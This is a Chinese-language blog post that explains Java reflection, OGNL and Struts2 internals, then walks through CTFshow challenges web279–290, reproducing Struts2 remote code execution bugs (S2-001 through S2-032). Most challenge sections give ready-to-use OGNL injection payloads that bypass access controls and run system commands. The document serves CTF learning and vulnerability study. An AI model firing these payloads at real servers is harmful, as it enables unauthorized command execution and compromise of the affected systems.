Struts2框架漏洞

前置知识

反射机制

Java 反射 (Reflection) 是 Java 提供的核心内置机制,属于java.lang.reflect包,它允许程序在 运行时期(Runtime)

  • 获取任意一个类的完整结构信息(类名、属性、方法、构造方法、修饰符等)
  • 操作任意一个类的对象:调用它的任意方法(包括private私有方法)、修改它的任意属性(包括private私有属性)
  • 动态创建任意一个类的实例对象

Spring/Spring Boot、MyBatis 等等框架中都大量使用了反射机制。这些框架中也大量使用了动态代理,而动态代理的实现也依赖反射。

正常写 Java 代码是 「正向编码」:编译期就知道要操作的类是谁,直接new 对象()对象.方法()对象.属性调用,比如:

package reflect;  
  
public class TargetObject {  
    private final String value;  
    public TargetObject() {  
        value = "LE0";  
    }  
    public TargetObject(String value)  
    {  
        this.value = value;  
    }  
    public void publicMethod(String s){  
        System.out.println("Public Method called with: " + s);  
    }  
    private void privateMethod(){  
        System.out.println("Private Method called. Value is: " + value);  
    }  
}
// 正向编码 - 编译期就确定了TargetObject类
TargetObject obj = new TargetObject();
obj.publicMethod("测试");

反射是「反向编码」:编译期完全不知道要操作的类是什么,只有运行时拿到类的全类名,才能动态加载、动态操作,这也是反射的核心价值。

package reflect;  
  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Method;  
  
public class main {  
    static void main() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {  
        Class<?> targetClass = Class.forName("reflect.TargetObject");  
        TargetObject targetObject = (TargetObject) targetClass.newInstance(); 
         
        Method [] methods = targetClass.getDeclaredMethods();  
        for (Method method : methods) {  
            System.out.println("Method Name: " + method.getName());  
        }  
        
        Method publicMethod = targetClass.getDeclaredMethod("publicMethod", String.class);  
        publicMethod.invoke(targetObject, "Hello from Reflection!");  
        
        Field field = targetClass.getDeclaredField("value");  
        field.setAccessible(true);  //为了对类中的参数进行修改我们取消安全检查
        field.set(targetObject, "Modified Value");  
        
        Method privateMethod = targetClass.getDeclaredMethod("privateMethod");  
        privateMethod.setAccessible(true);  //为了调用private方法我们取消安全检查
        privateMethod.invoke(targetObject);  
    }  
}
output:
Method Name: publicMethod
Method Name: privateMethod
Public Method called with: Hello from Reflection!
Private Method called. Value is: Modified Value
  • java.lang.reflect.Field → 专门操作类的成员变量
  • java.lang.reflect.Method → 专门操作类的成员方法
  • java.lang.reflect.Constructor → 专门操作类的构造方法
  • 获取类的方法: forName
  • 实例例化类对象的方法: newInstance
  • 获取函数的方法: getMethod
  • 执⾏行行函数的方法:invoke

另外,像 Java 中的一大利器 注解 的实现也用到了反射。

为什么你使用 Spring 的时候 ,一个@Component注解就声明了一个类为 Spring Bean 呢?为什么你通过一个 @Value注解就读取到配置文件中的值呢?究竟是怎么起作用的呢?

这些都是因为你可以基于反射分析类,然后获取到类/属性/方法/方法的参数上的注解。你获取到注解之后,就可以做进一步的处理。

servlet

  • Servlet 本身就是一个普通的 Java 类,不是什么特殊语法,只是这个类继承 / 实现了 Java 官方规定的 Servlet 相关接口
  • Servlet 是 JavaEE 规范(Java 企业级开发规范)里的核心组件,由 Java 官方(Oracle)制定标准,所有 JavaWeb 服务器(Tomcat、Jetty)都必须遵守这个标准。
  • 这个 Java 类不能独立运行,它必须部署到「JavaWeb 服务器」 里才能运行,最常用的服务器就是 Tomcat
  • 它的唯一作用:接收前端浏览器发来的 HTTP 请求(比如你在浏览器输入网址、点击按钮),处理业务逻辑(比如查数据、拼接字符串),然后给浏览器返回 HTTP 响应(比如网页内容、JSON 数据)。

OGNL(Object Graphic Navigation Language)表达式语言

OGNL是一种功能强大的表达式语言,广泛用于 Java Web 框架中,尤其是在 Struts2 中。OGNL 允许通过简洁统一的语法访问对象的属性、调用方法、创建集合、构造 Map 等。正因为其强大灵活的特性,Struts2 默认采用 OGNL 作为其表达式语言。

OGNL 的作用与优势

OGNL 在 Struts2 中承担了表达式解析的重要角色,开发者可以用它完成很多“常规工作”,包括但不限于:

  • 属性访问与方法调用

  • name.length():访问属性

  • #user.hashCode():调用方法

  • 数组与集合访问

  • "name".toCharArray()[0]:访问数组元素

  • 'admin' in {'user', 'admin', 'guest'}:判断元素是否在集合中

  • 静态方法与变量

  • @java.lang.Math@floor(10.9):调用静态方法

  • @com.demo.Constants@DEFAULT_TIMEOUT:访问静态字段

  • 表达式串联与赋值

  • price=100, discount=0.8, price*discount:支持多个表达式组合

  • 构造对象与集合

  • new java.util.ArrayList():创建新对象

  • #{'key1':'value1', 'key2':'value2'}:构造 Map

OGNL 上下文

OGNL 运行时依赖一个上下文对象 OgnlContext,它本质上是一个 Map,用于存放所有可访问的数据。简而言之,就是以键值对的方式来存储对象。上下文中包含以下核心元素:

  • _root:上下文的根对象,是默认操作的目标对象

  • _values:以 Map 的形式保存传入上下文的参数(如 JavaBean、变量等)

  • ClassResolver:处理类加载的策略

  • TypeConverter:用于处理类型转换,如将字符串转为对象

  • MemberAccess:控制访问对象成员(属性、方法)的权限策略

可以通过 setRoot(object) 方法设置根对象,这样访问属性时无需使用 # 前缀;访问非根对象时需要加 #,如 #user.name

特殊语法示例

用途 示例
常量表示 'hello', 123, 1000000H, 10.01B
调用静态方法 @java.lang.Math@abs(-5)
构造 Map #{'k1':'v1', 'k2':'v2'}
Lambda 表达式 {e -> e.length()} (OGNL 3.x中支持)
条件过滤 users.{?#this.age > 18}:过滤 age > 18 的用户

Ognlcontext对象

package ognl_study;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class main {
    static class user {
        private String name;
        private int age;

        public user(){
        }
        public user(String a) {
            this.name = a;
        }

        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        public int getAge() {
            return age;
        }

        public void setAge(int age) {
            this.age = age;
        }
    }
    static class address {
        private String city;
        private String country;

        public String getCity() {
            return city;
        }

        public void setCity(String city) {
            this.city = city;
        }

        public String getCountry() {
            return country;
        }

        public void setCountry(String country) {
            this.country = country;
        }
    }
    static void main() throws OgnlException {
        //创建一个空的,可用的上下文容器对象
        OgnlContext context = (OgnlContext) Ognl.createDefaultContext(null);
        user user = new user();
        user.setName("zhangsan");
        System.out.println(user.name);
        address address = new address();
        address.setCity("shanghai");
        System.out.println(context);
        context.put("user",user);
        context.put("address",address);
        context.setRoot(address);
        //获取user对象的name属性,使用getvalue函数,有三个参数
        String usr =(String) Ognl.getValue("#user.name",context,context.getRoot());
        //这里因为设置address为根对象了,所以不用加#
        String addr =(String) Ognl.getValue("city",context,context.getRoot());
        System.out.println(usr);    
        System.out.println(addr);
        //也可以先解析表达式,再求值
        Object ognl = Ognl.parseExpression("#user.name");
        String s = (String) Ognl.getValue(ognl,context,context.getRoot());
        System.out.println(s);
    }
}
output:
ognl_study.main
zhangsan
ognl.OgnlContext@0
zhangsan
shanghai
zhangsan
public static Object getValue(String expression, Map context, Object root) throws OgnlException {  
    return getValue((String)expression, (Map)context, root, (Class)null);  
}

ValueStack对象

ValueStack实际是一个接口,在Struts2中利用Ognl时,实际上使用的是实现了该接口的OgnlValueStack类,这个类是Struts2利用Ognl的基础。

ValueStack贯穿整个Action的生命周期(每个Action类的对象实例都拥有一个ValueStack对象),即用户每次访问struts的action,都会创建一个Action对象、值栈对象、ActionContext对象,然后把Action对象放入值栈中;最后再把值栈对象放入request中,传入jsp页面。相当于一个数据的中转站,在其中保存当前Action对象和其他相关对象。Struts2框架把ValueStack对象保存在名为“struts.valueStack”的request请求属性中。

Struts2

Struts2 是 Apache 旗下的开源 Web 框架,广泛应用于阿里巴巴、京东等大型互联网企业及政府、企业门户网站。它基于 MVC 设计模式,作为控制器负责模型与视图的数据交互。Struts2 是 Struts1 与 WebWork 合并后的全新框架,体系结构与 Struts1 有较大差异,核心以 WebWork 为基础,采用拦截器机制处理用户请求。

这种设计使得业务逻辑与 Servlet API 完全分离,提升了开发灵活性。相比 Struts1 变化巨大,但相较于 WebWork,变化较小。

Struts2 默认采用 OGNL 作为表达式语言,支持对标签属性(如 id)进行二次解析,这也成为远程代码执行等安全风险的根源。它常与 Spring、Hibernate 等框架配合使用,构成主流 Java EE 企业开发技术栈(SSH)。

Struts2 的 MVC 结构:

  • Model:负责数据维护和业务逻辑(通常是 Action 类)

  • View:负责页面展示(Result)

  • Controller:通过代码控制请求流程

Struts2 中的 OGNL 表达式一般以 %{}${} 开头:

  • %{}:访问值栈中的 Action 对象,例如 %{getText('key')}

  • ${}:通常用于国际化资源文件中的表达式引用

Struts2识别

  1. 页面回显错误信息:访问带参数的 URL,如 ?actionErrors=1111,若页面返回异常信息或回显参数值,说明可能是 Struts2。
  2. URL 后缀判断:常见 .action.do 后缀,虽然不一定准确。
  3. 检测特殊文件:如 /struts/webconsole.html 文件存在(需 devMode=true)。
  4. request_only_locale 参数:修改后页面内容变化表明存在国际化支持。
  5. CheckboxInterceptor 参数回显:带参数如 ?checkbox_search=xxx,返回特定内容可判断。

struts2 所有poc

vulhub/struts2 at master · vulhub/vulhub

ctfshow

web279-S2-001

漏洞原理:该漏洞因用户提交表单数据并且验证失败时,后端将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析,所以可以直接构造Payload进行命令执行

了解下OGNL表达式中三个符号 %,#,$ 的含义

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
  • $主要是在Struts 2配置文件中,引用OGNL表达式

先验证漏洞是否存在,在密码中输入%{'LE0'},提交后变成LE0,证明该漏洞存在

构造poc

获取tomcat路径:这里用到的语法是@完整类名@静态方法名(参数) → OGNL 调用 Java 的静态方法 / 静态属性

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取web路径

  • org.apache.struts2.ServletActionContext:Struts2 的核心工具类,专门用于在 Action 中获取 Servlet 的原生对象(request、response、session),提供了大量静态方法;
  • #context:Struts2 的OGNL 上下文对象(核心内置对象),是一个全局的 Map,里面存储了 Struts2 运行时的所有核心对象,天生可以直接调用,无需定义
  • req.getRealPath('/'):Servlet 的原生方法,作用是「获取 Web 应用根目录的服务器绝对路径」,参数/代表 Web 根目录。
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行 env,flag就在其中

%{
  // 1. 执行命令:whoami
  #a = (new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"}))
        .redirectErrorStream(true)  // 合并标准错误输出
        .start(),                   // 启动进程
  // 2. 获取命令输出流
  #b = #a.getInputStream(),
  // 3. 将字节流转换为字符流
  #c = new java.io.InputStreamReader(#b),
  // 4. 使用缓冲读取器读取字符流
  #d = new java.io.BufferedReader(#c),
  // 5. 创建字符数组用于存储输出内容
  #e = new char[50000],
  // 6. 读取输出结果到字符数组中
  #d.read(#e),
  // 7. 获取 HTTP 响应对象
  #f = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
  // 8. 输出命令执行结果到页面
  #f.getWriter().println(new java.lang.String(#e)),
  // 9. 刷新并关闭输出流
  #f.getWriter().flush(),
  #f.getWriter().close()
}


%{
  #a = (new java.lang.ProcessBuilder(new java.lang.String[]{"env"}))
        .redirectErrorStream(true)  
        .start(),              
  #b = #a.getInputStream(),
  #c = new java.io.InputStreamReader(#b),
  #d = new java.io.BufferedReader(#c),
  #e = new char[50000],
  #d.read(#e),
  #f = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
  #f.getWriter().println(new java.lang.String(#e)),
  #f.getWriter().flush(),
  #f.getWriter().close()
}

web280-S2-005

先来了解下S2-003
S2-005 远程代码执行漏洞 - blankunbeaten - 博客园

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 - Struts 2.0.11.2

poc

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/EDI%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

回显poc

POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: IP:8080
Content-Length: 626

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27env%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

web281-S2-007

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本:Struts2 2.0.0 - Struts2 2.2.3

执行任意代码poc

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

web282-S2-008

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的

影响版本:Struts 2.1.0 - Struts 2.3.1

开启了调试模式,但是调试模式中存在 OGNL 表达式注入漏洞

devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

web283-S2-009

这个漏洞跟s2-003 s2-005 属于一套的。 Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法来执行它,从而绕过官方对#、\等特殊字符。

poc

https://e208a4c7-847f-43d2-baa9-e8d73530beaf.challenge.ctf.show/S2-009/ajax/example5.action?age=12313&name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27env%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]](https://e208a4c7-847f-43d2-baa9-e8d73530beaf.challenge.ctf.show/S2-009/ajax/example5.action?age=12313&name=\(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean\(false\),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime\(\).exec\(%27env%27\).getInputStream\(\),%23b=new+java.io.InputStreamReader\(%23a\),%23c=new+java.io.BufferedReader\(%23b\),%23d=new+char[51020],%23c.read\(%23d\),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse\(\).getWriter\(\),%23kxlzx.println\(%23d\),%23kxlzx.close\(\)\)\(meh\)&z[\(name\)\(%27meh%27\)])

web284-S2-012

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

web285-S2-013

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

web286-S2-015

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力

影响版本: 2.0.0 - 2.3.14.2

poc

需要先url编码

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action

web287-S2-016

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令

所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式

影响版本: 2.0.0 - 2.3.15

poc

:后需要url编码

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("env").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

web288-S2-019

动态方法调用的默认启用,原理类似于s2-008

Apache Struts 2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码

与s2-008poc区别不同的仅仅是由原先的[“allowStaticMethodAccess”]=true静态方法执行改为(new java.lang.ProcessBuilder(‘id’)).start(),但该方法在虚空浪子心提出s2-012后不久就在博客里说明了官方修补方案将allowStaticMethodAccess取消了后的替补方法就是使用Java.lang.ProcessBuilder

poc

先进行url编码

devmode.action?debug=command&expression=#a=(new java.lang.ProcessBuilder('env')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close() 

web289-S2-029

Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估

例如:代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行

影响版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

poc

default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream()))

web290-S2-032

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:的方式来调用名字是的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞

poc

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=env

参考

CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现-CSDN博客

Struts2框架安全漏洞分析与利用研究-先知社区

Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户

posted @ 2026-01-18 21:07  leee0  阅读(0)  评论(0)    收藏  举报